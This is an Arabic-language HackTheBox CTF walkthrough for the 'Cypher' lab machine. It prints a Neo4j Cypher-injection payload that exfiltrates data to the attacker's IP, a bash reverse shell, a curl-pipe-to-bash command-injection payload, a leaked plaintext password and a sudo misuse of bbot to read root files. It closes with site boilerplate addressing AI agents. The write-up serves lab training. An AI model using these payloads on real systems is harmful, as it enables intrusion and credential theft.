> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md).

# تقرير HackTheBox عن Cypher

{% embed url="<https://app.hackthebox.com/machines/650>" %}

{% hint style="warning" %}
**المهارات:**

* الهندسة العكسية لملف Java ‎.jar باستخدام JD-GUI
* تحليل الثغرات في كود Java مخصص
* حقن Cypher في Neo4j
* تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر إدخال غير مُنقَّح
* الاستطلاع بعد الاستغلال وإعادة استخدام بيانات الاعتماد
* تصعيد الصلاحيات عبر أذونات sudo سيئة التهيئة
* استخراج العلم بشكل آمن وإجراءات التنظيف
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/8f83b1bfc00eff0f12fff83922f88aa42e36d582" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/ebbbfcbcef2c31dd1cd37919b92b56780148f528" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts
```

<figure><img src="/files/9cca7465d0c377a17c2ae94e806109d580756e28" alt=""><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.11.57 -oN targeted
```

<figure><img src="/files/49e5eee4141e8cf56d4f4cd3a9cd50334e3b1edb" alt=""><figcaption></figcaption></figure>

ثم يتم إضافة عنوان IP إلى `/etc/hosts` الملف:

<figure><img src="/files/d25548c34cc113e084853996435d61d537c2e47f" alt="" width="563"><figcaption></figcaption></figure>

### تحليل الويب - المنفذ 80 (HTTP)

<figure><img src="/files/6b8d1535c821f5f138dac5dd0eb33a6fe0e49719" alt=""><figcaption></figcaption></figure>

**Gobuster** يُستخدم لسرد الأدلة:

```bash
gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/c7b3bb80e760e2e3bc4a72fe91f27b9a8b591ee8" alt=""><figcaption></figcaption></figure>

الـ `/testing` الدليل يحتوي على `.jar` ملف. نستخرج:

<figure><img src="/files/c9854a667af317ced9e60eee29216ee7710cc8b8" alt=""><figcaption></figcaption></figure>

افحص البنية باستخدام `tree` ثم افتح `.jar` بـ **JD-GUI**.

```bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing
```

<figure><img src="/files/b3f50b7b2c58e960a5d1267ec1a9a65bb73e42fc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a162955757d8585fc3bdfafa4a6c94d874db731d" alt=""><figcaption></figcaption></figure>

نكتشف أمرًا ضعيفًا:

```java
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
```

<figure><img src="/files/146ff27b31fe88288c552532d4dffe3ae8318441" alt=""><figcaption></figcaption></figure>

**ثغرة**: عنوان URL غير مُهَرَّب، مما يسمح ب&#x640;*/* shell/*/* الحقن.

## حقن Neo4j Cypher

نموذج تسجيل الدخول ضعيف. يظهر خطأ عندما بين `'`.

<figure><img src="/files/4403212700d0a18c34c25b15fa7e83cadd48fc7b" alt=""><figcaption></figcaption></figure>

نحقن حمولة Cypher لاسترجاع إصدار Neo4j:

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",
  "password": "test"
}
```

{% endcode %}

<figure><img src="/files/493ac5ef80ce1538ea6a4e78e4afaea2fcfd08b2" alt=""><figcaption></figcaption></figure>

على خادمنا، نتلقى الطلب:

```bash
python3 -m http.server 80
# --> 5.24.1
```

<figure><img src="/files/cc9f0f8cb75d11b83cee522f1a4709e828d1cc0d" alt=""><figcaption></figcaption></figure>

### تنفيذ تعليمات برمجية عبر الاستدعاء إلى `custom.getUrlStatusCode()`

<figure><img src="/files/c1a68dd95b6df4ef7bc037cfd5e49dde347476e0" alt=""><figcaption></figcaption></figure>

ضع شِلًّا عكسيًا في `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```

ضع شِلًّا عكسيًا في `index.html`:

```bash
nc -nlvp 443
```

استخدم الحقن المشترك لاستدعاء هذا **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}
```

<figure><img src="/files/d7a6f72613382b49ea37cb2670ef19edd4069413" alt=""><figcaption></figcaption></figure>

#### تحسين الشِّلّ:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## الانتقال - المستخدم Graphasm

في `/home/graphasm/` يوجد `pwn.py` ملف يحتوي على كلمة مرور

<figure><img src="/files/86bdaa251cfc0c8c1e41c5fff1f5bef45c236627" alt=""><figcaption></figcaption></figure>

* cU4btyib.20xtCMCXkBmerhK

#### إعادة استخدام كلمة المرور

### الراية user.txt :)

<figure><img src="/files/fe033cc2b668bd217a7491068bd4eccc719a1559" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

### Sudo - bbot (ثنائي)

تدقيق sudo الخاص بالرسوم:

```bash
sudo -l 
```

يمكن للمستخدم تشغيل `/usr/local/bin/bbot` بصلاحيات الجذر.

<figure><img src="/files/dca8d505bdba5d6b26ff077c5978b51c5f755f7d" alt=""><figcaption></figcaption></figure>

محتويات `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="/files/bc2f0d7789df627c53f2575ab962434bfe05795b" alt=""><figcaption></figcaption></figure>

### الاستغلال:

يقوم هذا السكربت ببساطة بتمرير الوسائط إلى الدالة الرئيسية لـ `bbot`. وبما أننا نستطيع التحكم في الوسائط المقدَّمة، يمكننا استخدام ميزة في `bbot` لتشغيل أي ملف — بما في ذلك الملفات التي لا يمكن الوصول إليها إلا بواسطة المستخدم **root**.

بعد الاطلاع على المساعدة أو التوثيق لاستخدام `bbot`، حدّدنا خيارات لتعيين ملف الهدف ودليل الإخراج:

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**الشرح:**

* `-t /root/root.txt`: يعيّن ملف الهدف المراد معالجته.
* `-o /tmp/root`: يحدّد دليل الإخراج (حيث سيتم تخزين النتائج).
* `-d`: يفعّل وضع التصحيح، في حال كانت هناك حاجة إلى معلومات إضافية.

بما أن هذا السكربت يعمل بـ **root** الصلاحيات ولا يتم إجراء أي تحقق من إدخالات ns، فهذا يسمح لنا بتشغيل أي ملفات عشوائية، بما في ذلك الملف النهائي الذي يحتوي على **علم الجذر**.

<figure><img src="/files/6d3eee9983123273ebd9694d6f9495aea81ecd06" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="/files/d88c78e890918734ad6b6805fc66a87cafa56306" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
